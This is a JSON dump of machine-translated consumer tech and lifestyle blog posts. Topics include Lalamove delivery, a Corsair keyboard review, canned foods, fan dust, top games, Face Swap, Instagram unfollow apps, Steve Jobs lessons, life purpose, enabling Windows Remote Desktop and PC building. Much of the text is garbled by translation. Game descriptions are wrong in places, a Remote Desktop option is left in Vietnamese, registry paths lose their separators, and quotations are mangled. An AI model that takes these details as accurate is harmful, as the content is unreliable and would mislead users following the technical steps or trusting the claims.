pay with Cash.\nThen Lalamove will automatically find the nearest driver for you, if you want to cancel the trip, hold the X to cancel the trip.\n   Step 5: When showing the driver's information, you just need to wait for the driver to call you, or you can actively contact the driver by clicking Call driver, then deliver them to them .\nIn this step you can still cancel the delivery by clicking Cancel in the upper right corner, selecting the reason for canceling the order.\n   You can reset the shipment immediately after that by clicking Order again.\n  With the Lalamove fast delivery instructions above, your shipping problem has been solved. The way to book a delivery car on Lalamove is quite simple, similar to the way of placing a car on Grab, except that because of moving, here you call Shipper for delivery only.\nSee more:\nInstructions on how to use Grab to call GrabBike Instructions for ordering food through GrabFood How to call GrabTaxi online ncG1vNJzZmismaXArq3KnmWcp51kvra1wqRknZ2cnsOmvthmnq6hlJp6o8WMpZilmZ2kw6Y%3D\n","link":"/post/quick-delivery-guide-by-lalamove/","section":"post","tags":null,"title":"Quick delivery guide by Lalamove"},{"body":"The Corsair K70 RGB is an almost perfect keyboard, with a beautiful design, authentic Cherry MX switches and a variety of colorful backlighting. After a few years of fine-tuning the design, Corsair released the K70 RGB MK.2 and the company's efforts paid off.\nBeautiful, functional and innovative, K70 RGB MK.2 is suitable for everyone. At $ 180 (over 4 million), this is one of the most expensive gaming keyboards on the market.\nJoin TipsMake.com to evaluate more in detail about this keyboard to see if the K70 RGB is worth your money.\nDesign of Corsair K70 MK.2 K70 RGB MK.2 is almost identical to the cheaper Corsair Strafe RGB MK.2 K70 RGB MK.2 is almost identical to the cheaper Corsair Strafe RGB MK.2. Like Strafe, K70 is a full size keyboard, about 43 x 15cm. There's very little wasted space on this attractive black device, and it's actually about 2.5cm smaller than many comparable peripherals, while maintaining a comfortable distance between the keys. .\nWhat makes the K70 MK.2 different from the Strafe Mk.2 is that it has a frame made of aluminum rather than plastic, which makes this keyboard both durable and delicate.\nIn addition to a separate set of media controls (and volume wheel), the K70 RGB MK.2 also has a USB pass-through port and a few buttons to control button lock, brightness and Game Mode configuration. The keyboard also includes several surrounding keys, which may be useful for FPS and MOBA gamers.\nKeys Corsair offers authentic Cherry MX switches for K70 RGB MK.2. What makes K70 RGB MK.2 one of the best keyboards is that you can choose from 5 different Cherry switches.\nIt can be said that, thanks to such a wide selection of switch keys, K70 RGB MK.2 is a device suitable for all gamers.\nCorsair offers Cherry MX switches for K70 RGB MK.2 Featured K70 RGB MK.2 runs on Corsair Utility Engine (CUE) software.\nIt's undeniable that CUE requires a bit of getting used to in the beginning, but once you get the hang of it, you can do some extremely interesting things with extended options. You can also set up profiles for individual games, record macros and reprogram almost every key. There are 3 built-in profiles if you want to bring your keyboard. If not, you can program as many profiles as you want and save them on your computer.\nWhat always sets Corsair's RGB keyboard apart from its competitors is its incredible ability to customize light patterns. Customizing the gradient is the most interesting part. By setting a simple timer, you can make the keyboard color change from light blue, dark blue to purple.\nEfficiency I tested K70 MK.2 with Overwatch, StarCraft: Remastered, Baldur's Gate: Enhanced Edition, and World of Warcraft to see how it works in many game genres.\nUnsurprisingly, the keys work very well. The keyboard does not favor a specific game genre and the media keys make it easy to play your favorite music or in-game podcasts.\nK70 MK.2 is very close to a perfect gaming keyboard Conclude K70 MK.2 is very close to a perfect gaming keyboard. There is no dedicated macro button, but since you can reprogram any button on the K70 MK.2 and the program macro right in the CUE software, there are many ways to overcome this drawback.\nIn addition to the high price and complicated software used at the beginning, Corsair's latest keyboard has almost no weaknesses.\nFrom the incredible variety of key switches, to the durable design and many useful features, the K70 RGB MK.2 is a very nice and worth using keyboard.\nBeautiful, functional and innovative, the Corsair K70 RGB MK.2 is a gaming keyboard suitable for everyone.\nAdvantages\nGorgeous design Many key switch options High quality components Additional useful features Defect\nSlightly higher prices ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZpufp8CitdFmonBoXae0o3nMpGlmmpWWwrW1xa6jZp6VlsG2vsSroJygXZyurrXNoGSknamXvKK%2Bww%3D%3D\n","link":"/post/review-corsair-k70-rgb-mk-2-beautiful-feature-rich-gaming-keyboard/","section":"post","tags":null,"title":"Review Corsair K70 RGB MK.2: Beautiful, feature-rich gaming keyboard"},{"body":"The pros and cons of canned goods Their health implications, however, are less clear. When it comes to the nutritional value (or lack thereof) of these products, there's a wide range of opinions.\n\"People should treat canned foods as they would any kind of food,\" nutritional therapy practitioner and\u0026nbsp;Life Health \u0026amp; Wellness Center\u0026nbsp;CEO Asher Adelman says. \"When shopping for canned foods, the best choices are real whole foods that aren't processed and that don't contain refined grains, sugar or inflammatory vegetable\u0026nbsp;oils\u0026nbsp;like corn, canola and soybean oils.\"\nTime to get more specific! Here are the details about the best and worst canned foods you can buy (for yourself or\u0026nbsp;to donate), according to nutritionists and other nutrition experts.\nThe best canned foods to stock up on Canned pumpkin   According to Gabrielle McGrath, MS, RN, LDN of\u0026nbsp;Lexi's Clean Living, canned pumpkin is great to have on hand for its slew of health benefits. The nutrients and antioxidants in plain and canned\u0026nbsp;pumpkin puree\u0026nbsp;(without other additives) can boost your immune system, protect your eyesight, and lower your risk of chronic disease. Look for brands that list simply \"organic pumpkin\" on the ingredients list.\nHigh-quality protein sources (chicken, salmon, tuna, sardines)   Certified nutrition therapy practitioner\u0026nbsp;Haley Halteman\u0026nbsp;is cautious about the high sodium content of most canned foods, but she notes that canned chicken,\u0026nbsp;salmon,\u0026nbsp;tuna\u0026nbsp;and\u0026nbsp;sardines\u0026nbsp;can be great for a quick, high-protein meal… as long as the quality is right. Choose brands that are \"organic, from pasture-raised or wild-caught sources, packaged in water, with no salt added.\"\nA variety of canned vegetables There are plenty of healthy options available in the canned vegetable section at your local supermarket, but registered dietitian\u0026nbsp;Jen Hernandez\u0026nbsp;encourages you not to get\u0026nbsp;too\u0026nbsp;carried away, focusing instead on the canned veggies you think you'll actually eat. Hernandez is a big fan of canned\u0026nbsp;corn,\u0026nbsp;green beans\u0026nbsp;and\u0026nbsp;peas, all of which are best for you when marked low sodium and no added salt.\nCanned diced tomatoes   McGrath regularly stocks diced tomatoes in her own kitchen for use in\u0026nbsp;chilis,\u0026nbsp;soups\u0026nbsp;and\u0026nbsp;tomato sauces. Citric acid and calcium chloride are two ingredients frequently found in canned tomatoes and are nothing to be concerned about, according to McGrath.\nCanned beans and lentils   Registered dietitian\u0026nbsp;Bri Bell\u0026nbsp;recommends keeping canned\u0026nbsp;beans\u0026nbsp;and\u0026nbsp;lentils\u0026nbsp;in your pantry. These legumes are healthy sources of protein, fiber and carbohydrates, and can be easily added to everything from soups and\u0026nbsp;chilis\u0026nbsp;to\u0026nbsp;salads\u0026nbsp;and\u0026nbsp;grain bowls. Steer away from added salt whenever possible.\nEven for the \"good\" canned products listed above, there can be some variation in terms of ingredients and preparation.\u0026nbsp;Stick to versions of\u0026nbsp;all\u0026nbsp;canned foods with low sodium and no added sugar.\n\"It's important to keep in mind there are unhealthy versions of anything canned,\" McGrath says. \"You need to look at the\u0026nbsp;nutrition facts panel\u0026nbsp;so you can fully understand what you are eating.\"\nAnd then there are the canned foods that should be avoided almost all the time…\nCanned foods to avoid Baked beans   While many nutrition pros swear by the health benefits of canned beans, McGrath is cautious about purchasing\u0026nbsp;baked\u0026nbsp;beans in a can. Canned baked beans, she says, are often loaded with saturated fat, sugar and unnecessary additives. If you love\u0026nbsp;baked beans, go the homemade route, instead.\nCanned soups   Sorry to burst your bubble on your favorite feel-good canned soups, but many of these products are\u0026nbsp;not\u0026nbsp;approved by nutritionists. \"A no no for me is canned soups,\" Hernandez says. \"Not only are they often more than a day's worth of sodium, they just don't taste as good as homemade!\" Making homemade\u0026nbsp;soup\u0026nbsp;is a commitment, but don't be intimidated -- there are plenty of manageable DIY recipes out there for everything from\u0026nbsp;Easy Lentil Soup\u0026nbsp;to\u0026nbsp;Classic Tomato Soup.\nCanned fruit packaged in syrup   There\u0026nbsp;are\u0026nbsp;some canned fruit options that can be a healthy snack or add-on to yogurt or oatmeal, but nutritionist\u0026nbsp;Lisa Richards\u0026nbsp;notes that many brands package their fruit in syrup. This does, of course, help retain the fruit's sweet taste, but it's also high in added sugar, which can increase inflammation and contribute to poor gut health.\nCanned pasta   Canned pastas (like the o-shaped ones you loved when you were a kid) and other ready-made meals can be convenient to have around in a pinch, but they're not recommended from a health perspective.\u0026nbsp;Kiss My Keto\u0026nbsp;registered dietitian Sofia Norton names these products among the worst canned options in the game, primarily because of their high levels of preservatives, additives, salt, and sugar.\nAlso beware BPA More generally, when reviewing your canned food options, Halteman recommends paying special attention to the way the can itself is made. Some brands use toxic chemicals like\u0026nbsp;BPA\u0026nbsp;to make their cans.\u0026nbsp;BPA\u0026nbsp;is an endocrine disruptor and\u0026nbsp;can cause problems\u0026nbsp;with hormone levels and increase the risk of heart complications, cancer, and other diseases. \"This is the number-one thing to look for!\" Halteman says.\nIt should be noted that as consumer awareness about and backlash to BPA has increased,\u0026nbsp;many manufacturers have stopped using it\u0026nbsp;(even if the labels don't say so), but if you want to be extra-safe, you may still want to stay away from canned foods that aren't specifically labeled BPA-free.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdlruledaoqaysXZiur7rEnWSfp5%2BZwG6twpymq5yZo7RuwM5mpa6sop7BqrvNoqqtqw%3D%3D\n","link":"/post/the-best-and-worst-canned-foods-according-to-nutritionists/","section":"post","tags":null,"title":"The best and worst canned foods, according to nutritionists"},{"body":"Have you ever wondered why your fan blades are so quickly clogged with dust though your house is quite clean? Obviously the propeller creates wind, does not blow away the dirt but is stuck in dust? Let's find the right answer for this question!\nWhy is the fan spinning slowly and how to fix it? Why do fans in the US and European countries have 4.5 wings while fans in Vietnam only have 3 wings? Common problems in electric fans and how to fix them yourself Why are propellers clinging to dirt? The answer is due to static electricity. When the rotor rotates, the propeller is always \"slashed\" into the air, creating friction between the propeller and the air, thereby generating static electricity, creating attraction that is especially for small and light objects flying in gas like dust. Therefore, the more dust is attached to the electric fan, the more the fan rotates, the more static the charge is and the more dust the more.\n  In addition, on the same propeller, the amount of dust is not the same, if you pay attention you will see that the front edge of the propeller is more dust and the rest stick less. This is understandable, because this part 'slashes' into the air directly and strongest, the friction there is large, causing the rotor to be electrically contaminated with that place the most and the dust will be thicker.\nSo how does the fan get dust-free? Next summer, fans must operate continuously, so they often get dust in the cage and fan blades. Therefore, there is no other way that you have to maintain and clean the fan regularly. This work not only increases the rotation speed of the fan, helps the fan run smoothly but also brings fresh air and ensures health safety for your family.\n  See more:\nUnexpected impact when using fans in the hot season Instructions for cleaning the air conditioner properly Table fans and box fans, which is the smart choice? ncG1vNJzZmismaXArq3KnmWcp51kwamxjKmpqKiVobmmvtJmmKudXarAtq3LpbBmnKWowbp51qGw\n","link":"/post/the-propellers-are-usually-dusty-why/","section":"post","tags":null,"title":"The propellers are usually dusty, why?"},{"body":"In the era of technology development today, the game is increasingly elaborate meticulously for the graphics, the titles with nice graphics always have a big attraction to gamers. Besides, the games with beautiful graphics also consume a lot of resources on the computer and they are also a way for gamers to show off the machines with dinosaur configurations. TipsMake will send you top games with the best graphics.\n1. Cyberpunk 2077   Cyberpunk 2077 will be the first name on this list although they have not been released at the moment, as expected, this game will be released in late 2020. This is a role-playing game that shoots and decodes missions to explain the entire storyline in the game, based on the manufacturer's trailer, we can see this is a racing game combining action pinnacle shooting action. Although not yet launched, but Cyberpunk 2077 is more pre-Oder than ever before with numbers up to 10,000 times and the price of Cyberpunk 2077 is not cheap, they cost nearly 1,000,000 VND.\n2. Ancestors   Ancestors will take you on the journey of human evolution since we were an ancient chimpanzee walking on all fours. The evolution process changes based on the player's actions interacting with the game's content and that process changes a lot if you influence them in a positive or negative way. In addition, this journey of million-year evolution also requires you to be \"skillful\" in maintaining the race. Ever since the launch of Ancestors has been rated as a graphics game of the Top terrorists in the world today. This game has been fully developed and is being sold for around VND 350,000.\n3. Death Stranding   Death Stranding is a Shiper simulation game, just joking! This is a sci-fi game set in the end of the world and your mission is to deliver and transport national \"secret\" packages so they can restore the world. Besides you also face the mysterious forces that appear from the explosions on the earth, these invisible ghosts will be a nightmare when you move. Right from its debut, Death Stranding is highly appreciated from the story line to the character creation when they are too genuine.\n4. ABZU   You are a lover of the blue ocean, love the sea and fishes around the world, ABZU game will be the choice for you. The ABZU game is set in the background and storyline beneath the blue ocean of the earth, where there are millions of species of fish that we need to explore. This light entertainment game takes you on a series of fascinating missions in the deep blue ocean.\n5. Resident Evil   Resident Evil is probably a game that is too familiar to gamers when they have gone through a lot of different development versions. Every season, every version, the manufacturer has a blow to the graphic design of the game making them more vivid and more realistic. Resident Evil game will need to play the guts, not fear before the intimidating situations \"intimidating\" in the game.\n6. Final Fantasy   When it comes to games with beautiful character figures, the title of Final Fantasy will definitely be proposed first, this action game has very creative and beautiful characters. After each version, the manufacturer has upgraded a lot more in terms of graphics performance, making them more and more beautiful. Recently, we have a Demo version of Final Fantasy 7 Remake extremely attractive with giant graphics platform.\n7. Nier: Automata   Upon debut, Nier Automata won the award for the game with the most beautiful female character. The 2B-Nier girl that the manufacturer built has a sexy, sexy look with long legs and skimpy outfits. Besides, environmental graphic elements also help make the game more vivid, more attractive to players. Despite being released a long time ago, the name Nier Automata has never been forgotten from the list of top games.\n8. Predator: Hunting Grounds   Predator: Hunting Grounds is adapted from a movie of the same name, set in the battle of the green forest and the alien monster capable of invisibility in the forest. The game Predator: Hunting Grounds is heavily focused on the graphic element when they create a meticulous monster, beautiful rebel army and full of battlefield appeal. Immediately after the pitch and shelves, this game received a series of nominations related to graphics.\n9. Sea of ​​thieves   Sea of ​​thieves has a beautiful graphics platform but is unlike anyone else, although the graphics of Sea of ​​thieves are very beautiful, they bring joyful, animated and creative tendencies. This pirate game will take you to explore the world to find treasures or to rob other pirate boats. This is a strategy game combining action is worth a try, the graphics platform of Sea of ​​thieves is beautiful from the table so we do not need to talk too much.\n10. Chernobylite   Chernobylite is a game related to real events in the world, the explosion of the Chernobyl nuclear radiation plant in the world has created a shock. When Chernobyl exploded, the entire city was frozen and removed, and the state had to build a \"storage box\" to cover the plant before the radiation spread too hard. The game Chernobylite follows closely to the content of the event but also has a bit of variation to create appeal.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp%2BRorK0edaiq6FlpJ2ybq7ErKtmn6KWvam1wqw%3D\n","link":"/post/top-10-games-with-the-best-graphics/","section":"post","tags":null,"title":"Top 10 games with the best graphics"},{"body":"Face Swap is an application developed by Microsoft that allows users to pair their faces with other bodies. The application provides a large number of images for face transplantation. In addition, users can search for free images online to swap faces (under Creative Commons copyright law). You can download Face Swap directly on CH Play and App Store.\nSwapping faces with Face Swap is extremely easy. Users do not need to do any photo editing, just take a selfie photo, then select the images available to swap faces.\nHowever, you should note, when taking a selfie image, you must adjust the face that matches the oval shown on the phone screen, should turn on the camera flash or choose places with many bright photos to take pictures. So you get the standard face to swap faces.\n  Once you have the right face, you will proceed to choose the image to replace. The application has a lot of image categories such as fashion, hairstyle, sports, characters, expressions, scenes. ., in each category there are hundreds of photos used to swap faces.\n  In addition to these photos, you can also search your favorite images online with Bing search engine (under Creative Commons license). Basically, users can search for favorite characters and conduct face swaps.\nWhen the image has been selected, the result of the merging between the user's face and the body of the image will be displayed on the screen. If you are happy with the image, click the Save to camera roll button to save the image to memory.\nMicrosoft Face Swap is a fun application for Android and iOS users to try out new clothes, hairstyles or create funny images to share on social networking sites.\nYou can download Microsoft Face Swap application: https://faceswap.ms/\nSee more:\nTechnology guesses age through photos of How-Old.net You are like any celebrity with the CelebsLike.Me application Top 15 applications to \"change\" your voice on iPhone ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrOir8RmqrCZoGLDpr7YZp2upp6ueqetwp5kraqRo8CxuMCnq2aZoKW5qq%2FAraCopl2bvLN50qaYq6ygnbyvsdI%3D\n","link":"/post/very-funny-face-transplant-application-for-smartphones/","section":"post","tags":null,"title":"Very funny face transplant application for smartphones"},{"body":"When someone stops following you on Instagram, the app won't tell you who and when they stop following you. If you are wondering this, please see the following article to know when someone touched the Unfollow button on your profile.\nManually search for people to unfollow The most basic way to check who has unfollowed you on Instagram is to always update your specific user followers. If you see a decrease in the number of followers, you can check the ' Following ' list of specific users to determine if they still follow you.\nHowever, this job is time consuming and unrealistic, especially when you have a lot of regular followers. You should use a tool to control followers and unfollow.\nInstagram limits the analytics app's followers Instagram actually handled their API for security reasons, meaning that third-party application developers are more restricted on how they can access followers. If you use the app to see people cancel tracking, but not working, it may be due to changes to the Instagram API.\nHowever, there are some third-party applications that still work well. Here are three applications that connect Instagram accounts and give you useful information about followers and unfollow.\nFollow Meter for Instagram   Follow Meter is the app that gives you detailed information about Instagram popularity, followers, secret fans and ghost followers. After downloading and installing on your iOS or Android device, you will be asked to log into your Instagram account via the app.\nThe dashboard table will tell you who can unfollow along with new followers, users who are not following you back and who you are not following. If you want to use many other features, you can buy in the app but according to some reviews, Follow Meter has done very well to adapt to the Instagram API changes, allowing users to see who can cancel. watch them.\nDownload Follow Meter for iOS Download Follow Meter for Android Followers Tracker Pro   Followers Tracker Pro although has the word 'pro' in its name, but this application is free to download and can be used immediately (with in-app purchases for more features). This application acts as a simple follower with clean and intuitive interface.\nThe application will give you information about the number of followers, the number of followers you have lost, the user does not follow you again and the person has deleted likes and comments. You just need to click Lost Followers to see a list of people who have followed you.\nYou can even know more about your followers by checking the ghosts to see who is posting nearby, keeping track of the average number of likes and more. The app is updated regularly (many times a month), which is a good sign because it can provide timely features that are suitable for Instagram apps.\nDownload Followers Tracker Pro for iOS Follow Cop   If you're an Android user looking for a useful tracking app, Follow Cop is definitely worth checking out. This app allows you to see who doesn't follow you again, who recently canceled your followers and ghost followers, a list of your favorite photos and more.\nBecause the app only lets you know who has recently unfollowed you, you should check this data regularly to understand the situation. In those who cancel the tracker, you can know who you follow.\nFollow Cop also allows you to manage followers more easily by going through the Instagram app. You can perform a follow-up of a series of up to 20 people, use filters to find fake followers and connect with three Instagram accounts at once on the app.\nDownload Follow Cop for Android What to do when you see someone cancel your tracking with you on Instagram When using one of these apps to see who can unfollow you on Instagram, you can decide whether to do something to keep them on track or simply forget it. If you want them to follow you again, you should take some time and effort to like their post, comment and even follow them.\nFor businesses and brand builders, retaining followers and customers is often quite important. If you want to increase the number of followers on this social network, please refer to some tips in the article How to become a millionaire on Instagram? ok\nSee more:\n5 'Follower' styles on social networks and easy ways to connect with them 8 tips for Instagram Stories you may not know yet 6 apps make your Instagram Stories even more awesome ncG1vNJzZmismaXArq3KnmWcp51kxKm7jK6ln6ecoby4v4yypq5ln6N6qrrSrZigqpGi\n","link":"/post/who-unfollows-you-on-instagram/","section":"post","tags":null,"title":"Who unfollows you on Instagram?"},{"body":"The rich or the poor, the businessman or just a regular wage worker, employee or leader, regardless of age and social status ., we all learn precious lessons Prices from Steve Jobs - the \"legendary Apple\" or \"tech witch\". Although there are different characteristics and lifestyles, many people in the world have learned from him good things about thought, thought and above all, that is the spirit of life - hard work, never Now give up and always pursue the same things that I believe will do.\nHere are 10 best lessons from Steve Jobs and 10 things that make a \"Steve Jobs\" make the world admire.\n1. Do your best Do your best when doing anything. Success made success. So be hungry for success - Steve Jobs.\nIf you are \"stuck\" in thinking about how to succeed or wait for success, then you will stall. Honestly, standing still in place shows that you don't really want to succeed. It only shows that you are trembling and do not dare to move forward.\n  You need to keep working and be active because every success you have - no matter how small - will help create more and more success.\nIn the most ideal condition, it is the snowball effect. Understanding is that when a snow globe rolls down a slope, it accumulates more snow on the surface so the size becomes larger. However, you still need a longing to achieve your goals and be ready to act to experience it.\n2. Be the leader in innovation and innovation Steve Jobs once said: \"Being at the forefront of innovation is the distinction between a leader and a follower.\" There is never a limit to innovation and creativity, the only limit is your imagination. It's time you need to start thinking beyond the available templates.\nIf you operate in a growing business, think about ways to operate more efficiently, be more customer-friendly and make business easier. Change to make a difference and make a breakthrough.\nIf you are in a recession business - get out there quickly and change before you are eliminated. And remember that delay here is not an option. Let's start innovating now!\n3. Time is an invaluable thing, don't waste a second Your time is limited, so don't waste it living another person's life. Don't be trapped by dogma - that is to live with the thoughts of others. Do not let the noise from the opinions of others submerge the voice in you. And most importantly, be brave to follow your heart and intuition. We, somehow, know what we really want to be. Everything else is secondary - Steve Jobs.\nEvery minute of every passing moment is your life. We all own a fund at that time, but not everyone knows how to take advantage of this extremely valuable asset. So, now learn how to manage time, plan and decide what you want to do with your life.\n4. Always pursue excellence There is no shortcut to achieving excellence beyond yourself to commit yourself to constantly trying to get it and to keep acting.\n  Use your talents, abilities and skills in the best possible way. Dare to challenge yourself by setting higher living and working standards to make a difference. If you don't do new things, your life will always be like that.\nAccording to Steve Jobs, each \"be a measure of quality. Some people are not used to the environment that requires excellence.\"\n5. Do what you like The best way to do a good job is to love what you do. If you haven't found it yet, keep looking. Don't be quiet. Turn your heart to every problem, you will realize when you find it - Steve Jobs.\nDon't do things you don't like just to make someone feel satisfied. Find a job that makes you feel meaningful, purposeful, motivated, directional and satisfying in life.\nThink about it. If you keep doing the things you want or just make them happy while you feel extremely tired and tired, then what will your life be like? Nothing special, nothing interesting.\nThe fact that your parents want you to become a top lawyer or accountant doesn't mean you will find success and passion in that job.\nThe salary is important, but does it help you achieve other good things, especially health and joy?\n6. Please \"let\" not just \"get\" You know, we don't make the majority of the food we eat. We wear clothes made by others. We speak the language developed by others. We use math created by people . I mean, we keep getting. The feeling of creating something is kept in the pool of amazing and ecstatic human knowledge and experience.\nWhat are you waiting for? You should live in a morally responsible way. Make a difference in this world and contribute to better things with all you have. You will realize that it gives a lot of meaning to life and is a remedy for your boredom. In addition, share with others what you are doing, maybe you will find companions.\n7. Think more Successful people often spend a lot of time thinking and so is Jobs.\nScientists have had many studies to prove the spiritual and moral negative effects that TV brings, the majority of TV viewers know that their habits cause sluggish thinking and waste of time. But they still watch.\nSo, turn off the TV to work and think better, but be aware, you can also stop the brain from working even when using a computer. Jobs comically compares: \"Basically, we think that when you watch TV, the brain stops working; and you want it to work again when you work on the computer.\"\nIn fact, only when you leave the electronic devices and think really, will your brain work with the best effect.\n8. Accept defeat Failure is an experience that only those who have failed and dare to face it can win.\n  No one dared to assert that the path to his success did not encounter any obstacles. So, don't feel ashamed when your journey is in trouble and you fall down. It is important that you know how to stand up and learn from those mistakes.\n9. Make a difference Make a difference. Think other people. It is better to be a pirate than to join the navy.\nI like Steve's sentence because both \"navy\" and \"pirate\" remind me of many things! I have been working for 14 years in a corporate environment (not to mention a period of time in the reserve army) but I have thrown away those things to establish Outshine Consulting and The Success Rules. There are currently no better options, but I think the key point to think about is what position you want to take in life.\nIf we live in a constantly changing world, we will feel everything is chaotic. Always find ways to change the status quo (status quo) and look for new, creative ideas. Following what is available is likely to produce older results than modern and new ones.\nDo you want challenge and change, or do you like stability? Be honest with yourself because not everyone can be a navy, and not everyone can be a good pirate!\n10. Constantly learning There's always something new for you to learn! Exchange ideas, learn from customers, competitors and partners. If you work with someone you don't like, learn to like them. Praise them and gain some benefit from them - Steve Jobs.\nIf your energy does not increase, you will die slowly. This may be a difficult question to swallow, but it is true. If you don't grow, learn and grow, you will become sick and die slowly. You want to fall in any case?\nJobs cannot achieve success today without taking advantage of existing knowledge, creativity, continuous innovation and continuous learning.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5y56qrKeeqHqirs6uq2arpZiwpr%2FSZpinnF2htqexjJ%2BpqKVdqMGmwsRmoaiaow%3D%3D\n","link":"/post/10-lessons-about-success-and-life-from-steve-jobs/","section":"post","tags":null,"title":"10 lessons about success and life from Steve Jobs"},{"body":" 10 hard-to-accept facts about life help you grow up Love is to be happy, forget about your past relationship and keep looking for happiness! 36 famous inspirational quotes that change lives We humans often have one thing in common: at any given moment, we all ask ourselves: ' Why are we in this world? . This is really a profound question but it is difficult to answer. There is a theory that the purpose of each of us is to make the world better. However, how do we somehow do that?\n  This is the best time to start.If you are looking for the purpose of your life, do 10 small things to help you find the purpose of your life . Invite you to consult!\n1. Write it down on paper (or type) Try writing it out or typing to help yourself discover the purpose of life. Take a piece of paper and a pen. Or turn on the computer and open a new document. Next, write or type at the top of the page \"What is the purpose of your life? \" Then continue writing or typing the first things that appear in your mind.\nWhich of the list is most important to you? What appeals you most? What makes you feel overwhelmed, do you really feel something hard to describe? These are exactly what you should take the time to do.\n2. Start a hobby Start going out and experience something new . Whether you want to play volleyball, do yoga, write poetry or want to improve your skills, do it, don't just think about it.\n  3. Help the community Rarely is anything more meaningful than volunteering . Find something that makes you feel passionate and devote yourself to doing it. Material donation is great, but it is even better to spend your time doing it.\n4. Read something inspiring every day Words have miraculous power . They inspire us to act and can help us see clearly the purpose of our lives. So try to read something that inspires yourself every day. Buy books, read websites about life skills and keep a collection of quotations that inspire you.\nSee also: Immediately 9 statements below, if you don't want the listener to feel uncomfortable!\n  5. Frequently reflect on life Sometimes you should also spend a few days a week meditating or meditating. \" Wiping out \" bad thoughts from your head helps you see the purpose of life more clearly. So stop what you're doing, just focus on your every breath. Surely you will feel that sitting back and resting will help you feel better.\n6. Simplify life Do not let yourself get caught up in the ordinary, trivial things. Spend most of your time on things that you think are most important: family, friends, health and the work you are passionate about. This will help you realize your purpose of life. Remember that beauty is really in simple things.\n  7. Do what you like Immediately answer the question: \" Which job makes you so happy that you can do it without paying? \".\nFor most of us, work is just a way to make money to cover everyday life. However, it is not necessarily so.\nFocus on doing the things you are most passionate about . This does not mean that you have to give up your current job, but it means you should look for work according to your personal aspirations, even if it's just a left-handed job.\nIf you like writing, do freelance writing. If you like volunteering, ask to volunteer or even do it yourself.Do not underestimate yourself . You can do whatever you want as long as you don't accept the limit.\nSee also: How to know, be wise and different wise?\n8. Ask your friends what your best qualities are This may sound weird but try sitting next to your best friend, sipping some beer and asking that person to say honestly about what they like about you. Explain to them why you want to know it. They will understand your sincerity and be ready to tell you. You can rely on that information to learn more about the purpose of your life.\n  9. List the to-do list before it's too late Suppose you know you have only one more year to live, how will you choose to live? Where to go? Who will you spend time with? What will you save for life? Listing \" things you need to do before leaving this world \" is a good way to understand how to look at what's important to you. It will release thoughts and you will understand what you desire in life.\n10. Thanks for what you are More than anything else, your actions will be what most people remember about you.Be grateful, patient and humble . Do good things for others without expecting them. Show gratitude through the way you live every day. And then, you will probably realize that you are living the life you once dreamed of.\nSee also: 7 things we often forget when we suffer and go through difficult times\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnF50qaYpaRdqbWqusasZK2nXZ2yrbyMsqauZZaeu6V506GcZqilp72wv8Rmpp9lqaTCs3nLop2e\n","link":"/post/10-small-things-to-help-you-find-the-purpose-of-your-life/","section":"post","tags":null,"title":"10 small things to help you find the purpose of your life"},{"body":"In Windows operating system, Remote Desktop function allows you to access remote systems via your local network or Internet.This function is especially useful for network managers, administrators can access the screen of all remote computers and do whatever they want .\nFor Windows XP, turning on Remote Desktop functionality is quite simple. But there is a slight difference in Windows Vista and Windows 7. Here are the instructions to enable remote control in Vista and Windows 7. 1. Use the graphical interface This is the simplest way, to enable the Remote Desktop function in the graphical interface you do the following: - Go to Start , select Run , or press Windows + R key. - Type the following command into the Run dialog: systempropertiesremote . - Mark one of the following two options in the properties dialog of the Remote Desktop function:\nAllow các kết nối từ máy phục vụ chạy phiên bản nào của remote Desktop .\n Cho phép các kết nối từ máy chủ chạy xa hệ thống với mạng xác thực\n   2. Using the Registry Remote Desktop can be enabled or disabled with the Registry. This is useful when you want to enable Remote Desktop functionality on another computer. That is, you can connect to the Registry of a remote computer through that Registry to make changes accordingly. The steps are as follows: - Go to the Registry ( Start \u0026gt; Run , type regedit ). - Go to the following course:\nHKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlTerminal Server\n- In the left window, find the key named ' fDenyTSConnections '. Double-click on the keyword and edit the value to 0 . If you want to enable Network Level Authentication (which helps protect remote computers from hackers and malware), do the following: - Go to the following course:\nHKEY_LOCAL_MACHINE SYSTEMCurrentControlSetControlTerminal \n ServerWinStationsRDP-Tcp\n- In the right window, select the key named ' UserAuthentication ', and change the value to 1 . 3. Use Group Policy Follow these steps: - Open Group Policy ( Go to Start \u0026gt; Run , enter gpedit.msc in the Open box and click OK ). - In the Group Policy edit window, go to the following link: Computer Configuration \u0026gt; Administrative Templates \u0026gt; Windows Components \u0026gt; Terminal Services Terminal Server Connections . - Double-click on the ' Allow users to connect Terminal Services ' section in the right window, then select Enable and click OK .\nncG1vNJzZmismaXArq3KnmWcp51krqTAyK%2BYrZ1dp7Kuu9OeZJ2do6DBsLyMoqVmrpmowaJ5wKebZq%2BZo7Gww9Jmbg%3D%3D\n","link":"/post/activate-remote-desktop-in-vista-and-windows-7/","section":"post","tags":null,"title":"Activate Remote Desktop in Vista and Windows 7"},{"body":"Depending on how close or tight it is, users can choose for themselves a complete set of computers. The article will guide you to choose to buy yourself the best computer set with 3 levels: advanced, intermediate and basic. Building high-end system Subjects for high-end systems are those who have the cost of shopping. The components of the high-end system will be quite strong, along with high compatibility. + Select a set of rules  Core i7 is the first representative for a new era in Intel architecture. They use LGA1366 socket instead of LGA775 before, which means the size is bigger than the previous models. Especially, in this new generation, Core i7 has returned to support Hyper-Threading hyper-technology which has been neglected since the beginning of multi-core CPU generation. It allows the Core i7 CPU to double the operating stream so it can operate as an 8-core CPU on a CPU with only 4 cores. Intel's Core i7 CPU processor with Intel Core i7 965 Extreme Edition, quad core has a clock speed of 3.2 GHz. Reference price of this form is 18 million VND (1000 USD). + Select motherboard Need to choose compatible mainboard with Core i7. Currently, Intel only released the generation of Core i7 support chipsets with X58 with many representatives of big names such as Asus, Gigabyte, . However, Asus P6T Deluxe is the best choice for the processor. Core i7 management. This motherboard comes in many different versions, of which the P6T Deluxe / OC Palm version is considered the fastest and most suitable for overclockers. Reference price of P6T Deluxe / OC Palm is 5.2 million VND (290 USD.) + RAM memory Core i7 CPU only supports standard DDR3 RAM. To make the most of the power of Core i7 as well as the Tripple Channel technology, you should choose a 